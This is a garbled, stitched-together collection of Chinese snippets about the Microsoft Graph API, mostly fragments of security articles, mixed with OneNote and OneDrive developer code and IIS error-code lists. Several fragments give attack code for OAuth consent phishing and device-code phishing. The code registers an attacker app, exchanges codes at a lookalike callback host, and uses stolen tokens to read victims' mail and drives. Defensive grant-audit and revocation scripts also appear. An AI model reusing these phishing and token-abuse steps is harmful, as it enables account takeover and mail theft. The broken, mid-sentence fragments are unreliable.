使用该 OAuth Token 就可以向 Microsoft Graph API 请求(https://graph.microsoft.com/v1.0/me/drive/root:/Documents...请求结构为:https://graph.microsoft.com/v1.0/me/drive/root:/Uploaded/???:/content。...通过 OneDrive 下载文件,请求结构为https://graph.microsoft.com/v1.0/me/drive/root:/Downloaded/???:/content。...://graph.microsoft.com/v1.0/me/drive/root:/Documents/response.json:/content。...执行期间,攻击者可以使用 https://graph.microsoft.com/v1.0/me/drive/root:/Documents/data.txt:/content请求重置原始文件 data.txt
= "https://graph.microsoft.com/v1.0"; public static final String NOTEBOOK_ID_FILTER_PREFIX = "/me/onenote...URI.create(MICROSOFT_GRAPH_BASE_URL + "/me/onenote/pages/" + pageId + "/content"); HttpRequest request...://graph.microsoft.com/v1.0/me/onenote/pages/?...://graph.microsoft.com/v1.0/me/onenote/pages/?...://graph.microsoft.com/v1.0/me/onenote/pages/pageId/content获取html结果,再通过jsoup解析title、text,最后通过\n拼接返回buildMetadata
graph.microsoft.com/v1.0/me/messages?...://graph.microsoft.com/v1.0/me/mailFolders/inbox/messageRules',json=rule_payload,headers=headers)此类操作完全通过合法...Graph 查询示例:GET https://graph.microsoft.com/v1.0/me/oauth2PermissionGrantsAuthorization: Bearer https://graph.microsoft.com.../v1.0/me/oauth2PermissionGrants/{grant_id}"requests.delete(url, headers={'Authorization': f'Bearer {admin_token
开发流程 向 Azure Active Directory (AAD) 注册的客户端 ID 和密钥(客户端密码) 从 OAuth 2 授权代码流收到的授权代码 OneDrive for Business API...8400” 获取access_token onedrive for business使用的是标准的Oauth2流程,所以大概流程就是先获取code,使用code交换access_token,然后就可以调用api...://graph.microsoft.com' } resp = requests.post(self.oauth2_uri, headers=self.header, data=data...://graph.microsoft.com onedrive的请求api是https://graph.microsoft.com/v1.0/me/drive,但是文档中以及网上教程写的是https:/.../graph.microsoft.com/me/drive,这也是我认为比较坑的一点 secret需要复制“值”,而不是“机密ID” 完整代码 此处内容需要评论回复后方可阅读 使用实例 1.配置self.client_id
= {"Authorization": f"Bearer {token}"}# 列出用户邮箱文件夹resp = requests.get("https://graph.microsoft.com/v1.0...'] for f in folders if f['displayName'] == 'Inbox')emails = requests.get(f"https://graph.microsoft.com.../v1.0/me/mailFolders/{inbox_id}/messages", headers=headers).json()通过分析邮件内容,攻击者可识别财务、HR等高价值目标,进而发起针对性钓鱼或数据窃取...可使用Microsoft Graph PowerShell批量设置:# 禁止用户同意应用Set-MgPolicyAuthorizationPolicy -PermissionGrantPolicyId...(token):headers = {"Authorization": f"Bearer {token}"}apps = []url = "https://graph.microsoft.com/v1.0
以下Python脚本利用Microsoft Graph API实现授权审计:import requestsdef audit_oauth_apps(user_token):headers = {"Authorization...": f"Bearer {user_token}"}url = "https://graph.microsoft.com/v1.0/me/oauth2PermissionGrants"response...//graph.microsoft.com/v1.0/applications/{app_id}",headers=headers).json()display_name = app_info.get(...'displayName', 'Unknown')if display_name not in approved_apps:# 自动撤销授权requests.delete(f"https://graph.microsoft.com.../v1.0/me/oauth2PermissionGrants/{grant['id']}",headers=headers)print(f"Revoked unauthorized app: {display_name
,即使用户登出仍有效;Access Token:短期有效(通常1小时),但可用于调用Microsoft Graph API。...://graph.microsoft.com/.default返回的Access Token可立即用于读取邮件:GET /v1.0/me/messages HTTP/1.1Host: graph.microsoft.comAuthorization...Microsoft Entra ID已支持此功能,可通过条件访问策略强制:# Azure AD PowerShell: 要求FIDO2且禁止非托管设备New-AzureADMSConditionalAccessPolicy...Microsoft Graph提供/revokeSignInSessions API,可编程终止可疑会话:import requestsdef revoke_suspicious_sessions(user_id..., access_token):url = f"https://graph.microsoft.com/v1.0/users/{user_id}/revokeSignInSessions"headers
= "https://graph.microsoft.com/v1.0"; public static final String NOTEBOOK_ID_FILTER_PREFIX = "/me...parentNotebook&$filter=parentNotebook/id"; public static final String SECTION_ID_FILTER_PREFIX = "/me...= URI.create(MICROSOFT_GRAPH_BASE_URL + "/me/onenote/pages/" + pageId + "/content"); HttpRequest...getSectionContent,PAGE执行getPageContent,之后通过buildMetadata构建metaData,最后构建Document返回getNoteBookContent请求https...://graph.microsoft.com/v1.0/me/onenote/pages/?
通过Microsoft Graph API定期拉取用户授权的应用列表,比对白名单。若发现未经批准的第三方应用请求Mail.Read、Mail.Send等权限,自动撤销授权并告警。...://graph.microsoft.com/.default"]def get_authorized_apps(token):"""获取用户授权的第三方应用"""headers = {'Authorization...': f'Bearer {token}'}url = "https://graph.microsoft.com/v1.0/me/oauth2PermissionGrants"resp = requests.get...://graph.microsoft.com/v1.0/applications(appId='{app_id}')"app_resp = requests.get(app_url, headers=headers...://graph.microsoft.com/v1.0/me/oauth2PermissionGrants/{app_id}"requests.delete(url, headers={'Authorization
(Access Token)与刷新令牌(Refresh Token);应用使用令牌调用Microsoft Graph API。...;设置可信域名:将主页URL设为仿冒的https://microsoft-security[.]com。...3.4 数据窃取与横向移动获得令牌后,攻击者可调用Microsoft Graph API执行以下操作:# 读取最新100封邮件Invoke-RestMethod -Uri "https://graph.microsoft.com.../v1.0/me/messages?...://graph.microsoft.com/v1.0/me/drive/root/children" `-Headers @{ Authorization = "Bearer $accessToken
例如,某用户通常在工作日9–18点从上海登录,若凌晨3点从莫斯科发起/me/drive/root/children请求,应触发高风险告警。...建立身份风险评分制度:将MFA状态、设备合规性、登录历史等纳入动态风险评估,驱动条件访问策略。...://graph.microsoft.com/.default','client_secret': CLIENT_SECRET,'grant_type': 'client_credentials'}resp...://graph.microsoft.com/v1.0/oauth2PermissionGrants"grants = []next_url = urlwhile next_url:resp = requests.get...://graph.microsoft.com/v1.0/oauth2PermissionGrants/{g['id']}"requests.delete(del_url, headers=headers
://graph.microsoft.com/.default","access_token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIs..."...;利用令牌调用Microsoft Graph API,读取邮件、日历、联系人,甚至创建新应用或修改权限。...假设攻击者已注册一个Azure AD应用,client_id为“a1b2c3d4-5678-90ef-ghij-klmnopqrstuv”,并申请了以下API权限:Microsoft Graph: Mail.ReadWrite...://graph.microsoft.com/.default"# Step 1: Request device codedevice_code_url = f"https://login.microsoftonline.com...["access_token"]}'}mail_resp = requests.get('https://graph.microsoft.com/v1.0/me/messages',headers=headers
一旦用户输入邮箱(如 alice@contoso.com),页面立即构造一个指向Microsoft Entra ID(原Azure AD)的OAuth授权URL:https://login.microsoftonline.com...(二)策略管理层:建立授权生命周期管理定期授权审计:每季度导出全组织应用授权清单,清理未使用或来源不明的应用;实施最小权限原则:推动业务部门使用权限更细的现代API(如Microsoft Graph的delegated...permissions with scopes);自动化撤销机制:当检测到可疑活动时,自动调用Microsoft Graph API撤销相关应用授权:# 使用Microsoft Graph API撤销用户授权...import requestsdef revoke_consent(user_id, app_id, access_token):url = f"https://graph.microsoft.com/...://graph.microsoft.com/v1.0/oauth2PermissionGrants/{grant['id']}"requests.delete(delete_url, headers=
成功响应示例:{"device_code": "GMMhmCtbB...pYQ","user_code": "ABC123","verification_uri": "https://microsoft.com...https://microsoft.com/devicelogin,增强迷惑性;请求高权限范围(如Directory.ReadWrite.All、Mail.ReadWrite),以实现横向移动与数据窃取...://graph.microsoft.com/.default"# Step 1: Request device coderesp = requests.post(f"https://login.microsoftonline.com...': f'Bearer {token["access_token"]}'}mails = requests.get('https://graph.microsoft.com/v1.0/me/messages...5.2 实施严格的同意策略配置用户同意策略,禁止普通用户授权第三方应用:Azure Portal → Enterprise Applications → Consent and permissions
“您的 Microsoft 账户需要立即完成安全验证。请访问 https://aka.ms/devicelogin,输入以下代码:**ABCD-EFGH**。”...://graph.microsoft.com/.default服务器返回 device_code 和 user_code(即用户看到的 ABCD-EFGH);用户在另一台设备访问 https://aka.ms...向 Azure AD 请求设备代码client_id = "ATTACKER_APP_ID" # 攻击者注册的恶意应用IDscope = "https://graph.microsoft.com/.default"resp...10封邮件headers = {"Authorization": f"Bearer {access_token}"}mails = requests.get("https://graph.microsoft.com.../v1.0/me/messages?
该操作完全合法,产生的链接形如:https://1drv.ms/u/s!...{link}")2.4 横向扩散阶段:自动化邮箱遍历一旦获取有效会话,攻击者立即调用Microsoft Graph API遍历收件箱:import requestsACCESS_TOKEN = "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIs...://graph.microsoft.com/v1.0/me/messages?...以下为通过Microsoft Graph API创建条件访问策略的示例:policy = {"displayName": "Block risky logins to SharePoint","state...://graph.microsoft.com/v1.0/identity/conditionalAccess/policies',headers={'Authorization': f'Bearer {
2 攻击链技术实现分析2.1 社会工程诱饵:高可信会议场景构建攻击始于一封高度定制化的定向邮件,发件人伪装为会议组委会成员,内容提及具体议题方向或注册状态更新。例如:“尊敬的Dr....://bsc2025.org/oauth/callback'})tokens = resp.json()# 保存access_token与refresh_token用于后续API调用store_tokens...(tokens['access_token'], tokens['refresh_token'])return tokens获得令牌后,攻击者可调用Google People API、Gmail API...在Microsoft Entra ID中,可配置“用户同意设置”,禁止用户向未批准的应用授予权限:# PowerShell: 禁止用户同意所有应用Set-MgPolicyAuthorizationPolicy...Graph API支持查询用户授予的同意记录:GET https://graph.microsoft.com/v1.0/me/oauth2PermissionGrantsAuthorization:
例如,Microsoft Defender for Office 365引入“敏感度标签”,但仍未与用户实时任务状态联动。本文工作填补了从认知科学到工程实现的桥梁。...4 情境感知防御框架基于上述发现,本文提出三层“情境感知防御”架构:4.1 用户状态感知层通过操作系统或办公套件API获取用户当前任务上下文。...示例:使用Microsoft Graph API检测会议状态import requestsdef is_in_meeting():headers = {'Authorization': 'Bearer...' + access_token}response = requests.get('https://graph.microsoft.com/v1.0/me/calendarView',headers=headers...=> {window.open(url.toString(), '_blank');});}});低风险操作:允许正常跳转;高风险操作(如含登录、支付关键词):强制跳转至企业单点登录(SSO)门户,禁止直接访问外部站点
更关键的是,SharePoint支持动态生成临时共享链接,且可通过Microsoft Graph API进行程序化管理。...(如普通员工创建大量登录页面)以下Python脚本示例展示如何通过Microsoft Graph API审计可疑共享项:import requestsimport jsondef detect_suspicious_sharing...(token):headers = {'Authorization': f'Bearer {token}'}url = "https://graph.microsoft.com/v1.0/sites/root...://graph.microsoft.com/v1.0/drives/{drive['id']}/root/children"items = requests.get(items_url, headers...五、防御体系构建5.1 权限最小化原则禁用非必要用户的“外部共享”权限对文档库设置“仅组织内成员可访问”审计并清理长期有效的匿名共享链接5.2 条件访问策略强化在Azure AD中配置策略:禁止从非托管设备访问
HTTP 401.4 - 未授权:授权被筛选器拒绝 HTTP 401.5 - 未授权:ISAPI 或 CGI 授权失败 HTTP 403 - 禁止访问 HTTP 403 - 对 Internet...这个错误代码为 IIS 6.0 所专用。 • 403 - 禁止访问:IIS 定义了许多不同的 403 错误,它们指明更为具体的错误原因: • 403.1 - 执行访问被禁止。 ...禁用要求安全通道选项,或使用 HTTPS 代替 HTTP 来访问该页面。...如果没有安装证书的 Web 站点出现此错误,请单击下面的文章编号,查看 Microsoft 知识库中相应的文章:224389 错误信息:HTTP 错误 403、403.4、403.5 禁止访问:要求 SSL...如果没有安装证书的 Web 站点出现此错误,请单击下面的文章编号,查看 Microsoft 知识库中相应的文章:224389 错误信息:HTTP 错误 403、403.4、403.5 禁止访问:要求 SSL